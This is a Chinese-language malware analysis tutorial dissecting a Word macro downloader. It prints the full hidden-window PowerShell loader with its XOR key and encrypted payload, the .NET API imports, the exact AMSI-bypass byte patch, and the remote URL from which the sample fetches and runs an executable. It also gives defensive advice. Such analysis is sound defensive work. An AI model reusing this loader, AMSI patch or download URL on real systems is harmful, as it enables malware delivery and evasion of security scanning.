记一次Office宏样本分析
字数 2413 2025-08-24 07:48:22

Office宏病毒样本分析教学文档

1. 样本概况

1.1 测试环境及工具

  • 运行平台: Windows 7 x64
  • 进程监控工具: ProcessHacker
  • 调试分析工具: powershell_ise、Visual Studio 2019

1.2 样本基本信息

  • 文件名称: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5.doc
  • 样本类型: Microsoft Word 2007+
  • 样本大小: 28.44KB (29123 bytes)
  • 哈希值:
    • MD5: 9eafc9090d71b382af7c8c04e83d61d2
    • SHA1: 32a192bab959b725cc02cf3df9b063e160b9ac43
    • SHA256: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5

1.3 沙箱检测结果

  • 创建了3个进程(包括powershell.exe)
  • 释放了4个文件
  • 被标记为Downloader

2. 样本分析流程

2.1 初始行为观察

  • 打开样本时提示需要启用宏功能
  • 这是典型的Office宏病毒手法,使用VBA宏脚本来隐藏实际功能

2.2 VBA宏分析

  1. 按下Alt+F11打开宏调试器
  2. 发现代码被混淆,需要进行格式化处理
  3. 使用在线工具(如https://www.automateexcel.com/vba-code-indenter/)进行代码格式化

2.3 动态调试技巧

  1. 识别入口函数Document_Open
  2. 在宏调试器中设置断点(点击代码行左侧)
  3. 使用F8单步执行
  4. 使用"视图->本地窗口"观察变量值

2.4 关键函数分析

Lethbridge函数

  • 作用:解密字符串
  • 关键操作:
    • 使用StrConv函数进行字符串转换
      • 参数128:将Unicode转换为系统默认代码页
      • 参数64:将字符串转换为Unicode
    • 解密结果为:"winmgmts:.\root\cimv2:Win32_Process"

Win32_Process相关操作

  • 通过"winmgmts:.\root\cimv2:Win32_Process"对象创建进程
  • 使用GetObject函数获取指定对象
  • 通过Win32_Process.Create函数创建进程

2.5 PowerShell脚本分析

  • 解密出一个3692字节的PowerShell脚本
  • 使用-WindowStyle Hidden参数隐藏PowerShell窗口
  • 使用Process Hacker捕获完整命令行参数

完整PowerShell脚本结构

powershell -WindowStyle Hidden 
function y171e {
    param($z4627)
    $k58be9 = 'a57157c';
    $yce74a = '';
    for($i = 0; $i -lt $z4627.length; $i += 2) {
        $vc2775 = [convert]::ToByte($z4627.Substring($i, 2), 16);
        $yce74a += [char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);
    }
    return $yce74a;
}
$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c590050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';
$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();

解密函数y171e分析

  • 输入参数:十六进制字符串
  • 使用固定密钥"a57157c"进行异或解密
  • 解密过程:
    1. 每两个字符作为一组十六进制数
    2. 转换为字节
    3. 与密钥中的字符按顺序异或
    4. 将结果转换为字符

2.6 .NET代码分析

导入的API函数

[DllImport("kernel32", EntryPoint = "GetProcAddress")]
public static extern IntPtr v779b(IntPtr x8d356, string v7be73);

[DllImport("kernel32", EntryPoint = "LoadLibrary")]
public static extern IntPtr e6656d9(string zc6ea);

[DllImport("kernel32", EntryPoint = "VirtualProtect")]
public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39);

[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e);

主要功能函数c193b()

  1. 解密字符串:

    • "amsi.dll"
    • "AmsiScanBuffer"
    • "C:\Users\thh\AppData\Roaming\c9255.exe"
    • "https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"
  2. AMSI绕过技术:

    • 加载amsi.dll库
    • 获取AmsiScanBuffer函数地址
    • 修改内存属性为PAGE_EXECUTE_READWRITE(0x40)
    • 在AmsiScanBuffer+0x001b处写入{0x31, 0xff, 0x90}(xor edi,edi; nop)
    • 目的是绕过反恶意软件扫描接口(AMSI)的检测
  3. 下载并执行恶意文件:

    • 使用WebClient下载文件
    • 保存到本地路径
    • 执行下载的文件

2.7 AMSI技术详解

AMSI(Antimalware Scan Interface):

  • 反恶意软件扫描接口
  • 允许应用程序和服务集成反恶意软件产品
  • 可以阻止PowerShell攻击代码的执行

绕过技术

  1. 定位AmsiScanBuffer函数
  2. 修改函数内存属性为可写
  3. 在关键位置插入特定操作码(如xor edi,edi)
  4. 使AMSI扫描失效

3. 样本行为总结

  1. 初始阶段

    • 通过Word文档诱导用户启用宏
    • 执行混淆的VBA代码
  2. 中间阶段

    • 解密并执行PowerShell脚本
    • PowerShell脚本解密并加载.NET程序
  3. 最终阶段

    • .NET程序执行AMSI绕过
    • 从远程服务器下载恶意文件
    • 执行下载的恶意文件

4. 防御建议

  1. 宏安全设置

    • 禁用所有宏,仅允许经过数字签名的宏执行
    • 对来自不受信任来源的文档保持警惕
  2. AMSI保护

    • 确保AMSI功能启用
    • 监控AMSI相关API的调用
  3. 行为监控

    • 监控PowerShell的异常使用
    • 特别关注隐藏窗口的PowerShell实例
    • 监控内存修改行为,特别是amsi.dll相关操作
  4. 网络防护

    • 拦截可疑域名连接
    • 阻止可疑文件下载
  5. 日志分析

    • 收集和分析进程创建日志
    • 监控临时目录的文件创建行为

5. 分析技巧总结

  1. VBA分析

    • 使用宏调试器动态分析
    • 关注Document_Open等自动执行函数
    • 识别字符串解密逻辑
  2. PowerShell分析

    • 使用Process Hacker捕获完整命令行
    • 使用PowerShell ISE进行脚本调试
    • 分析解密函数和参数
  3. .NET分析

    • 使用Visual Studio进行代码分析
    • 关注DllImport和API调用
    • 分析内存操作和AMSI绕过技术
  4. 行为分析

    • 使用Process Monitor监控进程行为
    • 关注文件系统和注册表操作
    • 分析网络连接行为
Office宏病毒样本分析教学文档 1. 样本概况 1.1 测试环境及工具 运行平台 : Windows 7 x64 进程监控工具 : ProcessHacker 调试分析工具 : powershell_ ise、Visual Studio 2019 1.2 样本基本信息 文件名称 : a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5.doc 样本类型 : Microsoft Word 2007+ 样本大小 : 28.44KB (29123 bytes) 哈希值 : MD5: 9eafc9090d71b382af7c8c04e83d61d2 SHA1: 32a192bab959b725cc02cf3df9b063e160b9ac43 SHA256: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5 1.3 沙箱检测结果 创建了3个进程(包括powershell.exe) 释放了4个文件 被标记为Downloader 2. 样本分析流程 2.1 初始行为观察 打开样本时提示需要启用宏功能 这是典型的Office宏病毒手法,使用VBA宏脚本来隐藏实际功能 2.2 VBA宏分析 按下Alt+F11打开宏调试器 发现代码被混淆,需要进行格式化处理 使用在线工具(如https://www.automateexcel.com/vba-code-indenter/)进行代码格式化 2.3 动态调试技巧 识别入口函数 Document_Open 在宏调试器中设置断点(点击代码行左侧) 使用F8单步执行 使用"视图->本地窗口"观察变量值 2.4 关键函数分析 Lethbridge函数 作用:解密字符串 关键操作: 使用 StrConv 函数进行字符串转换 参数128:将Unicode转换为系统默认代码页 参数64:将字符串转换为Unicode 解密结果为:"winmgmts:\.\root\cimv2:Win32_ Process" Win32_ Process相关操作 通过"winmgmts:\.\root\cimv2:Win32_ Process"对象创建进程 使用 GetObject 函数获取指定对象 通过 Win32_Process.Create 函数创建进程 2.5 PowerShell脚本分析 解密出一个3692字节的PowerShell脚本 使用 -WindowStyle Hidden 参数隐藏PowerShell窗口 使用Process Hacker捕获完整命令行参数 完整PowerShell脚本结构 解密函数y171e分析 输入参数:十六进制字符串 使用固定密钥"a57157c"进行异或解密 解密过程: 每两个字符作为一组十六进制数 转换为字节 与密钥中的字符按顺序异或 将结果转换为字符 2.6 .NET代码分析 导入的API函数 主要功能函数c193b() 解密字符串: "amsi.dll" "AmsiScanBuffer" "C:\Users\thh\AppData\Roaming\c9255.exe" "https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe" AMSI绕过技术: 加载amsi.dll库 获取AmsiScanBuffer函数地址 修改内存属性为PAGE_ EXECUTE_ READWRITE(0x40) 在AmsiScanBuffer+0x001b处写入{0x31, 0xff, 0x90}(xor edi,edi; nop) 目的是绕过反恶意软件扫描接口(AMSI)的检测 下载并执行恶意文件: 使用WebClient下载文件 保存到本地路径 执行下载的文件 2.7 AMSI技术详解 AMSI (Antimalware Scan Interface): 反恶意软件扫描接口 允许应用程序和服务集成反恶意软件产品 可以阻止PowerShell攻击代码的执行 绕过技术 : 定位AmsiScanBuffer函数 修改函数内存属性为可写 在关键位置插入特定操作码(如xor edi,edi) 使AMSI扫描失效 3. 样本行为总结 初始阶段 : 通过Word文档诱导用户启用宏 执行混淆的VBA代码 中间阶段 : 解密并执行PowerShell脚本 PowerShell脚本解密并加载.NET程序 最终阶段 : .NET程序执行AMSI绕过 从远程服务器下载恶意文件 执行下载的恶意文件 4. 防御建议 宏安全设置 : 禁用所有宏,仅允许经过数字签名的宏执行 对来自不受信任来源的文档保持警惕 AMSI保护 : 确保AMSI功能启用 监控AMSI相关API的调用 行为监控 : 监控PowerShell的异常使用 特别关注隐藏窗口的PowerShell实例 监控内存修改行为,特别是amsi.dll相关操作 网络防护 : 拦截可疑域名连接 阻止可疑文件下载 日志分析 : 收集和分析进程创建日志 监控临时目录的文件创建行为 5. 分析技巧总结 VBA分析 : 使用宏调试器动态分析 关注Document_ Open等自动执行函数 识别字符串解密逻辑 PowerShell分析 : 使用Process Hacker捕获完整命令行 使用PowerShell ISE进行脚本调试 分析解密函数和参数 .NET分析 : 使用Visual Studio进行代码分析 关注DllImport和API调用 分析内存操作和AMSI绕过技术 行为分析 : 使用Process Monitor监控进程行为 关注文件系统和注册表操作 分析网络连接行为